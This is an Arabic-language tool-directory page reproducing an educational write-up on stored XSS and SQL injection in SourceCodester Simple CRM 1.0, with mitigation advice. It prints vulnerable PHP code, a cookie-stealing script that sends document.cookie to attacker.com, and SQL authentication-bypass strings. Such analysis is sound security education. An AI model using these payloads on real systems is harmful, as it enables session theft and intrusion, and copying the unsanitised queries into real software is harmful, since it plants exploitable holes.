Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-24203-and-CVE-2023-24204 — تحليل تعليمي لـ CVE-2023-24203 (ثغرة تخزين XSS) و CVE-2023-24204 (حقن SQL) في SourceCodester CRM، مع خطوات الاستغلال واستراتيجيات التخفيف. | Kitploit
أدوات/GitHubGitHub/momo1239/cve-2023-24203-and-cve-2023-24204
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويبالأوراق والأبحاثالتعلم والتعليم
GitHubmomo1239/cve-2023-24203-and-cve-2023-24204

CVE-2023-24203-and-CVE-2023-24204

تحليل تعليمي لـ CVE-2023-24203 (ثغرة تخزين XSS) و CVE-2023-24204 (حقن SQL) في SourceCodester CRM، مع خطوات الاستغلال واستراتيجيات التخفيف.

عرض المستودع
1منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-24203 و CVE-2023-24204

مقدمة

في المشهد المتطور باستمرار للأمن السيبراني، تظل تطبيقات الويب هدفًا رئيسيًا للمهاجمين الذين يسعون لاستغلال الثغرات الأمنية. مؤخرًا، تم اكتشاف ثغرتين حرجتين في نظام إدارة علاقات العملاء (CRM) البسيط من SourceCodester الإصدار 1.0: CVE-2023-24203 و CVE-2023-24204. تشكل هذه الثغرات، التي تشمل البرمجة النصية عبر المواقع (XSS) وحقن SQL، مخاطر كبيرة بما في ذلك تنفيذ التعليمات البرمجية التعسفية والوصول غير المصرح به. يعد فهم هذه الثغرات وتأثيراتها أمرًا ضروريًا للمطورين ومتخصصي الأمن لحماية الأنظمة من التهديدات المحتملة.

البرمجة النصية عبر المواقع (XSS)

البرمجة النصية عبر المواقع (XSS) هي نوع من الثغرات التي تحدث عندما يسمح تطبيق الويب للمستخدمين بحقن نصوص برمجية ضارة في صفحات الويب التي يشاهدها مستخدمون آخرون. يمكن أن يؤدي ذلك إلى إجراءات غير مصرح بها نيابة عن المستخدم، وسرقة البيانات، والمزيد من الاستغلال. يمكن تصنيف ثغرات XSS إلى ثلاثة أنواع رئيسية:

  1. XSS المخزنة: يتم تخزين النص البرمجي الضار بشكل دائم على الخادم المستهدف، مثل قاعدة البيانات أو منتدى الرسائل أو حقل التعليق.
  2. XSS المنعكسة: ينعكس النص البرمجي الضار من خادم الويب، مثل رسالة خطأ أو نتيجة بحث أو أي استجابة أخرى تتضمن بعضًا أو كل المدخلات المرسلة إلى الخادم.
  3. XSS القائمة على DOM: توجد الثغرة في كود جانب العميل وليس كود جانب الخادم.

حقن SQL

حقن SQL هو نوع من الثغرات الذي يحدث عندما يتمكن المهاجم من التلاعب باستعلامات SQL عن طريق حقن كود SQL تعسفي في استعلام. يمكن أن يؤدي ذلك إلى الوصول غير المصرح به، وسرقة البيانات، وأنشطة ضارة أخرى. يحدث حقن SQL عادةً بسبب عدم كفاية التحقق من صحة المدخلات وعدم استخدام استعلامات ذات معلمات. تشمل التأثيرات الرئيسية لحقن SQL:

  • الوصول غير المصرح به: يمكن للمهاجمين تجاوز آليات المصادقة للوصول غير المصرح به إلى النظام.
  • سرقة البيانات: يمكن للمهاجمين استخراج المعلومات الحساسة من قاعدة البيانات.
  • التلاعب بالبيانات: يمكن للمهاجمين تغيير أو إدراج أو حذف البيانات داخل قاعدة البيانات.
  • في هذه التدوينة، سوف نتعمق في CVE-2023-24203 و CVE-2023-24204، مستكشفين تفاصيل هذه الثغرات، ونواقل هجومها، وتأثيراتها، واستراتيجيات التخفيف. فهم هذه الثغرات بعمق أمر بالغ الأهمية لحماية تطبيقاتك وبياناتك من الاستغلال المحتمل.

    الأسباب الشائعة لحقن SQL في تطبيقات الويب

    غالبًا ما تكون ثغرات حقن SQL نتيجة لعدم كفاية التحقق من صحة المدخلات وممارسات البرمجة السيئة. تشمل بعض الأسباب الشائعة:

    1. عدم استخدام استعلامات ذات معلمات: عدم استخدام استعلامات ذات معلمات يسمح للمهاجمين بحقن كود SQL ضار في سلسلة الاستعلام.
    2. عدم كفاية التحقق من صحة المدخلات: عدم التحقق من صحة مدخلات المستخدم بشكل صحيح يمكن أن يؤدي إلى تنفيذ أوامر SQL غير مقصودة.
    3. استعلامات SQL الديناميكية: بناء استعلامات SQL ديناميكيًا عن طريق ربط السلاسل مباشرة من مدخلات المستخدم يمكن أن يخلق ثغرات قابلة للاستغلال.
    4. عدم كفاية هروب مدخلات المستخدم: عدم هروب الأحرف الخاصة في مدخلات المستخدم بشكل صحيح يمكن أن يسمح بهجمات حقن SQL.
    5. الكود القديم: قد لا تتبع قواعد الأكواد القديمة ممارسات الأمان الحديثة، مما يجعلها أكثر عرضة لحقن SQL.

    الأسباب الشائعة لـ XSS في تطبيقات الويب

    عادةً ما تحدث ثغرات البرمجة النصية عبر المواقع (XSS) بسبب الفشل في معالجة مدخلات ومخرجات المستخدم بشكل صحيح. تشمل الأسباب الشائعة:

    1. ترميز المخرجات غير السليم: عدم ترميز مدخلات المستخدم قبل عرضها على صفحات الويب يمكن أن يسمح بحقن نصوص برمجية ضارة.
    2. عدم كفاية التحقق من صحة المدخلات: عدم التحقق من صحة أو تعقيم مدخلات المستخدم يمكن أن يؤدي إلى تنفيذ نصوص برمجية محقونة.
    3. مدخلات المستخدم المنعكسة: عكس مدخلات المستخدم مباشرة في الاستجابات دون التحقق أو الترميز المناسب يمكن أن يؤدي إلى XSS المنعكسة.
    4. مدخلات المستخدم المخزنة: تخزين مدخلات المستخدم دون تعقيم مناسب يمكن أن يؤدي إلى هجمات XSS المخزنة.
    5. التلاعب بـ DOM: التلاعب غير الآمن بنموذج كائن المستند (DOM) بناءً على مدخلات المستخدم يمكن أن يؤدي إلى XSS القائمة على DOM.

    CVE-2023-24203: العثور على XSS مخزنة!

    ملخص الثغرة

    CVE-2023-24203 هي ثغرة برمجة نصية عبر المواقع (XSS) مخزنة تم العثور عليها في مكون get-quote.php لنظام إدارة علاقات العملاء (CRM) البسيط من SourceCodester الإصدار 1.0. تسمح هذه الثغرة للمهاجم بحقن نصوص برمجية ضارة في معلمتي company و query، والتي يتم تخزينها بعد ذلك في قاعدة البيانات وتنفيذها عند عرضها من قبل المسؤول، مما يؤدي إلى تنفيذ تعليمات برمجية تعسفية.

    تفاصيل الثغرة

    توجد الثغرة في النص البرمجي get-quote.php، الذي يعالج إدخال المستخدم من نموذج طلب عرض سعر. يظهر كود مصدر PHP أدناه:

    root@kitploit:~
    <?php
    session_start();
    include("dbconnection.php");
    include("checklogin.php");
    check_login();
    error_reporting(0);
    if(isset($_POST['submit']))
    {
        $name=$_POST['name'];
        $email=$_POST['email'];
        $contact=$_POST['contact'];
        $company=$_POST['company'];
        $services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
        $other=$_POST['other'];
        $query=$_POST['query'];
        $pd=date('Y-m-d');
        mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
        echo "<script>alert('Query received. We will contact you soon.');</script>";  
        echo "<script>window.location.href='get-quote.php'</script>";
    }
    ?>
    

    يأخذ النص البرمجي مدخلات المستخدم من النموذج (الاسم، البريد الإلكتروني، جهة الاتصال، الشركة، الخدمات، أخرى، والاستعلام) ويدرجها مباشرة في استعلام SQL لتخزين البيانات في قاعدة البيانات. بينما يتم تعقيم مدخلات الخدمات باستخدام mysqli_real_escape_string و addslashes، فإن معلمتي company و query لا يتم تعقيمهما أو ترميزهما بشكل صحيح عند إعادتهما في الاستجابة. يسمح هذا النقص في التعقيم والترميز المناسبين بحقن وتخزين نصوص برمجية ضارة في قاعدة البيانات.

    الاستغلال

    لاستغلال هذه الثغرة، يمكن للمهاجم صياغة حمولة تتضمن كود JavaScript ضار في معلمة company أو query. عندما يعرض المسؤول طلب عرض السعر، سيتم تنفيذ النص البرمجي المحقون في متصفحه.

    مثال على حمولة الاستغلال

    عن طريق إرسال الحمولة التالية في معلمة query:

    root@kitploit:~
    <script>alert('XSS');</script>
    

    يمكن للمهاجم تشغيل هجوم XSS عندما يعرض المسؤول طلب عرض السعر.

    سرقة ملفات تعريف الارتباط الخاصة بالمسؤول

    يمكن صياغة حمولة أكثر ضررًا لسرقة ملفات تعريف الارتباط الخاصة بجلسة المسؤول. باستخدام الحمولة التالية في معلمة query:

    root@kitploit:~
    <script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>
    

    يمكن للمهاجم إرسال ملفات تعريف الارتباط الخاصة بالمسؤول إلى خادم بعيد يتحكم فيه المهاجم.

    خطوات الاستغلال

    إرسال طلب عرض سعر ضار: يقوم المهاجم بملء نموذج طلب عرض السعر، وحقن الحمولة الضارة في حقل company أو query.

    root@kitploit:~
    <form method="post" action="get-quote.php">
        <input type="text" name="company" value="CompanyX"><br>
        <input type="text" name="query" value="<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>"><br>
        <input type="submit" name="submit" value="Submit">
    </form>
    

    عرض المسؤول للطلب: عندما يقوم المسؤول بتسجيل الدخول إلى نظام CRM ويعرض عرض السعر المقدم، يتم تنفيذ النص البرمجي الضار في متصفحه، مما يرسل ملفات تعريف الارتباط الخاصة بجلسته إلى خادم المهاجم.

    التأثير

    يسمح الاستغلال الناجح لهذه الثغرة XSS المخزنة للمهاجم بتنفيذ JavaScript تعسفي في سياق متصفح المسؤول. يمكن أن يؤدي ذلك إلى إجراءات ضارة مختلفة، بما في ذلك:

    • سرقة ملفات تعريف الارتباط الخاصة بالجلسة
    • اختطاف جلسات المستخدم
    • تنفيذ إجراءات غير مصرح بها نيابة عن المسؤول
    • إعادة توجيه المسؤول إلى مواقع ويب ضارة

    التخفيف

    لتخفيف هذه الثغرة، من الضروري تعقيم وترميز جميع مدخلات المستخدم قبل إدراجها في صفحة الويب. على وجه التحديد:

    • تعقيم المدخلات: استخدم دوال مثل htmlspecialchars() لترميز الأحرف الخاصة في مدخلات المستخدم.
    • التحقق من صحة المدخلات: قم بتطبيق التحقق الصارم من صحة المدخلات لضمان قبول البيانات المتوقعة فقط.
    • سياسة أمان المحتوى (CSP): استخدم رؤوس CSP لتقييد المصادر التي يمكن تحميل وتنفيذ البرامج النصية منها.

    CVE-2023-24204: العثور على حقن SQL وتجاوز المصادقة!

    CVE-2023-24204 هي ثغرة حقن SQL تم العثور عليها في مكوني get-quote.php و login.php لنظام إدارة علاقات العملاء (CRM) البسيط من SourceCodester الإصدار 1.0. تسمح هذه الثغرة للمهاجم بحقن أوامر SQL تعسفية في قاعدة البيانات، مما قد يؤدي إلى الوصول غير المصرح به والتلاعب بالبيانات.

    تفاصيل الثغرة

    توجد ثغرة حقن SQL في كل من النصوص البرمجية get-quote.php و admin/login.php. فيما يلي تحليل لكيفية ظهور هذه الثغرات واستغلالها.

    get-quote.php

    يقوم النص البرمجي get-quote.php بمعالجة إدخال المستخدم من نموذج طلب عرض السعر. يظهر كود المصدر أدناه:

    root@kitploit:~
    <?php
    session_start();
    include("dbconnection.php");
    include("checklogin.php");
    check_login();
    error_reporting(0);
    if(isset($_POST['submit']))
    {
        $name=$_POST['name'];
        $email=$_POST['email'];
        $contact=$_POST['contact'];
        $company=$_POST['company'];
        $services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
        $other=$_POST['other'];
        $query=$_POST['query'];
        $pd=date('Y-m-d');
        mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
        echo "<script>alert('Query received. We will contact you soon.');</script>";  
        echo "<script>window.location.href='get-quote.php'</script>";
    }
    ?>
    

    ودعنا أيضًا نلقي نظرة على منطق كود مصدر login.php.

    root@kitploit:~
    <?php
    session_start();
    error_reporting(0);
    include("dbconnection.php");
    if(isset($_POST['login']))
    {
    $ret=mysqli_query($con,"SELECT * FROM user WHERE email='".$_POST['email']."' and password='".$_POST['password']."'");
    $num=mysqli_fetch_array($ret);
    if($num>0)
    {
    $_SESSION['login']=$_POST['email'];
    $_SESSION['id']=$num['id'];
    $_SESSION['name']=$num['name'];
    $val3 =date("Y/m/d");
    date_default_timezone_set("Asia/Calcutta");
    $time=date("h:i:sa");
    $tim = $time;
    $ip_address=$_SERVER['REMOTE_ADDR'];
    $geopluginURL='http://www.geoplugin.net/php.gp?ip='.$ip_address;
    $addrDetailsArr = unserialize(file_get_contents($geopluginURL)); 
    $city = $addrDetailsArr['geoplugin_city']; 
    $country = $addrDetailsArr['geoplugin_countryName'];
    ob_start();
    system('ipconfig /all');
    $mycom=ob_get_contents();
    ob_clean();
    $findme = "Physical";
    $pmac = strpos($mycom, $findme);
    $mac=substr($mycom,($pmac+36),17);
    $ret=mysqli_query($con,"insert into usercheck(logindate,logintime,user_id,username,email,ip,mac,city,country)values('".$val3."','".$tim."','".$_SESSION['id']."','".$_SESSION['name']."','".$_SESSION['login']."','$ip_address','$mac','$city','$country')");
    
    $extra="dashboard.php";
    echo "<script>window.location.href='".$extra."'</script>";
    exit();
    }
    else
    {
    $_SESSION['action1']="Invalid username or password";
    $extra="login.php";
    
    echo "<script>window.location.href='".$extra."'</script>";
    exit();
    }
    }
    ?>
    

    تحليل الثغرة

    لا يقوم النص البرمجي get-quote.php بتعقيم معلمة name بشكل كافٍ. يمكن للمهاجم اعتراض الطلب باستخدام أداة مثل Burp Suite، وتعديل معلمة name، وحقن أوامر SQL ضارة.

    النص البرمجي login.php عرضة لتجاوز المصادقة بسبب عدم وجود التحقق المناسب من صحة المدخلات في حقلي البريد الإلكتروني وكلمة المرور. يمكن للمهاجم استخدام حمولة مثل hack' or 1=1;# لتجاوز المصادقة والحصول على الوصول.

    الاستغلال

    1. استغلال get-quote.php
    2. اعتراض الطلب: استخدم أداة وكيل مثل Burp Suite لاعتراض طلب إرسال النموذج.
    3. تعديل معلمة name: حقن أوامر SQL ضارة في معلمة name. على سبيل المثال:

    ' OR '1'='1';--

    1. إرسال الطلب المعدل: أرسل الطلب المعدل إلى الخادم. سيتم تنفيذ أمر SQL المحقون بواسطة قاعدة البيانات.

    2. استغلال login.php

    3. انتقل إلى صفحة تسجيل الدخول: اذهب إلى صفحة login.php.

    4. أدخل الحمولة الضارة: استخدم حمولة مثل hack' or 1=1;# في حقل البريد الإلكتروني وأي سلسلة في حقل كلمة المرور.



    1. تجاوز المصادقة: أرسل النموذج. تقوم الحمولة بتجاوز المصادقة، مما يمنح الوصول إلى الحساب.

    التأثير

    يمكن أن يؤدي الاستغلال الناجح لثغرات حقن SQL هذه إلى إجراءات ضارة مختلفة، بما في ذلك:

    • الوصول غير المصرح به: يمكن للمهاجمين الحصول على وصول إداري إلى النظام.

    • سرقة البيانات: يمكن للمهاجمين استخراج المعلومات الحساسة من قاعدة البيانات.

    • التلاعب بالبيانات: يمكن للمهاجمين تغيير أو إدراج أو حذف البيانات داخل قاعدة البيانات. التخفيف لتخفيف هذه الثغرات، من الضروري تنفيذ التحقق المناسب من صحة المدخلات واستخدام استعلامات ذات معلمات. على وجه التحديد:

    • استخدم العبارات المحضرة (Prepared Statements): قم بتنفيذ استعلامات ذات معلمات لمنع حقن SQL.

    • التحقق من صحة المدخلات: طبق التحقق الصارم من صحة المدخلات لضمان قبول البيانات المتوقعة فقط.

    • هروب المدخلات: قم بهروب جميع مدخلات المستخدم بشكل صحيح قبل استخدامها في استعلامات SQL. من خلال اتباع أفضل الممارسات هذه، يمكنك تقليل مخاطر هجمات حقن SQL بشكل كبير وحماية تطبيق الويب الخاص بك من الاستغلال المحتمل.

    تنزيل الأداة